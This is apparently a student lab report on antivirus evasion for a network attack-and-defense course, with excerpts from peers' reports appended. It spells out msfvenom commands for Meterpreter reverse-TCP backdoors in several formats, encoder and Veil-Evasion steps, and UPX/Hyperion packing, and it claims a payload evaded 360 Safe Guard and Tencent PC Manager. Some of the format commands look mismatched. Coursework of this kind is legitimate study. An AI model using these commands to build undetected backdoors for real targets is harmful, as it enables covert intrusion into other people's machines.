2019-2020-2 20175316盛茂淞《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175316盛茂淞《网络对抗技术》Exp3 免杀原理与实践

一、实验目标

  • 熟悉后门的概念
  • 使用netcat实现win,linux之间的后门连接
  • 掌握meterpreter的应用
  • 了解MSF POST 模块的应用
  • 学会win,linux的后门启动方式

二、基础问题回答

1.杀软是如何检测出恶意代码的?

  • 基于特征码的检测(需要定期更新病毒库)
  • 启发式恶意软件检测(实时监控,开销较大)
  • 基于行为的恶意软件检测(如API监控)

2.免杀是做什么?

  • 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来

3.免杀的基本方法

  • 改变特征码

    • 加壳(拥有.exe文件)

      • 压缩壳
      • 加密壳
    • shellcode+encoder
    • 重写重编译(veil-evasion或者手工)
    • 半手工化(主流)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据(如https)
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

三、实验内容

任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

1.免杀检测

  • 在实验二中使用msf生成了后门程序,可以使用VirusTotalVirscan或这两个网站对生成的后门程序进行扫描。

    • 用VirusTotal扫描后结果如下:72款杀软中58款报出了病毒,不加处理的后门程序能被大部分的杀软检测到

    • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

2.确使用msf编码器,生成exe文件

  • 编码后呢,按理论上讲,编码会降低检出率,理论上讲多编码几次,总会检不出来。
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使‘\x00‘不出现在shellcode中,因为shellcode以‘\x00‘为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.136.129 LPORT=5316 -f exe > met-encoded.exe

  • 生成十次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.136.128 LPORT=5316 -f exe > encoded10.exe

  • 由此可见经过编码后虽然被检测出的概率下降了,但是大多数杀软还是可以将其检测出来。

3.msfvenom生成其他文件

  • 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x > 20175316jar.jar

  • VirusTotal检测结果:

  • 生成jsp文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x> 20175316jsp.jsp

  • VirusTotal检测结果:

  • 生成php文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x> 20175316php.php

  • 使用VirusTotal扫描结果如下,这个明显就少很多

  • 生成apk文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 x> 20175316apk.apk

  • VirusTotal检测结果:

4.使用veil-evasion生成后门程序及检测

  • sudo apt-get install veil命令安装Veil,历经千辛万苦,文末有安装中所遇到的问题及解决方法
  • 成功

  • 输入veil指令,进入如下个界面

  • 输入use evasion
  • 之后输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 使用set LHOST 192.168.136.128设置反弹连接IP地址(注意此处的IP是虚拟机Kali的IP)
  • 使用set LPORT 5316设置端口

  • 使用generate命令生成文件,接着输入生成的playload的名称veil20175316,保存路径为/var/lib/veil/output/source/veil20175316.exe
  • 丢到virustotal中看看veil生成的隐蔽性如何

  • 结果显示veil效果也不是太好,依然有过半的杀软可以把它揪出来

5.注入Shellcode并执行(嵌入式Shellcode)

  • 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 -f c

  • 创建一个文件20175316.c,然后将unsigned char buf[]赋值到其中,代码如下:

  • 使用命令:i686-w64-mingw32-g++ 20175316.c -o 20175316.exe编译这个.c文件为可执行文件
  • 使用VirusTotal却检测出很多问题

6.加壳工具

  • 加壳是对相应的资源进行压缩,压缩后仍可运行。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 它可以用来保护版权,但同时许多病毒也利用它来作为原理。

使用命令upx 201753167.exe -o 20175316_2.exe对20175316.exe加壳

  • 上传到virustotal中

(加壳以后能够检测出的杀软少了,但是过半的杀软还是可以检测出的)

7.其他方法

  • 采用Veil-Evasion的其他荷载生成后门方式
  • 进入use evasion
  • 使用list查看可用的有效荷载:

  • 选择载荷cs/shellcode_inject/virtual.py

  • 输入option,查看有效荷载的选项

  • 修改用户名后使用generate生成,选择shellcode平台时选择2

  • 输入生成文件的文件名,选择Py2Exe生成exe文件
  • 之后,生成的rc文件放入了路径/var/lib/veil/output/handlers/中,可执行文件放入了/var/lib/veil/output/source/

  • 将可执行文件上传到virustotal中看看效果:

  • 完美

任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 方法1

    • 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门
    • 之后使用一种编码方式生成一个迭代多次的c语言shellcode数组,然后再生成exe文件,之后加壳:使用压缩壳(UPX)和加密壳(Hyperion)
  • 方法2
    • 使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳可以成功逃过腾讯电脑管家
    • 然后在kali上监听并回连

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 电脑环境:win7
  • 杀软名称:360安全卫士(11.5.0.2001)

四、实验中遇到的问题及解决方法

问题1

  • 就是安装不了veil
  • 解决方法

    1.安装前先修改一下系统的更新源

sudo su
apt-get purge veil-evasion
apt-get update
apt-get upgrade

2.在安装前执行如下指令安装wine32:

mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

3.使用命令cd /usr/share/veil/config/进入该文件夹,使用ls查看该文件夹的内容

使用命令vim setup.sh编辑文件,第251行把github仓库改成码云的仓库, https://gitee.com/spears/VeilDependencies.git

4.遇到下面问题,运行后面的指令

五、实验总结与感悟

经常出现回连不成功的现象,特别是加密壳,我觉得大概是个玄学。(没错我还没有解决这个问题)

emmm诚实的说,我做实验的时候成功的案例,过了几个小时之后,就不能免杀了。。然后的话我就换了shellcode,又重新做了一遍,可以实现免杀,电脑管家更新病毒库还是可以的吧?

至今不知道在无360、电脑管家巴拉巴拉一堆杀软的情况下,如何在windows defender下实现杀软(毕竟我试了,这一切实验对于windows defender都是渣渣。。)

原文地址:https://www.cnblogs.com/sms369/p/12621159.html

时间: 2024-10-13 18:50:59

2019-2020-2 20175316盛茂淞《网络对抗技术》Exp3 免杀原理与实践的相关文章

2019-2020-2 20175208 张家华 网络对抗技术 Exp3 免杀原理与实践

实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 实验过程 实验准备即相关知识 VirusTotal.Virscan 集

2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码.如

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155302《网络对抗》Exp3 免杀原理与实践

20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过组合应用各种技术实现恶意代码免杀(1分) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 实验内容 报告评分 1.5分报告整体观感 0.5分

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器 编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码. 基于行为.杀软通过检测程序是否有更改注册表行为.是否有设置自启动.是否有修改权限等等行为进行判断. 免杀是做什么? 恶意代码避免杀毒软件查杀,从而实现入侵. 免杀的基本方法有哪些? 对恶意代码进行加壳 利用shellcode进行编码 实践过程记录 使用msf生成后门程序的检测 将实验二中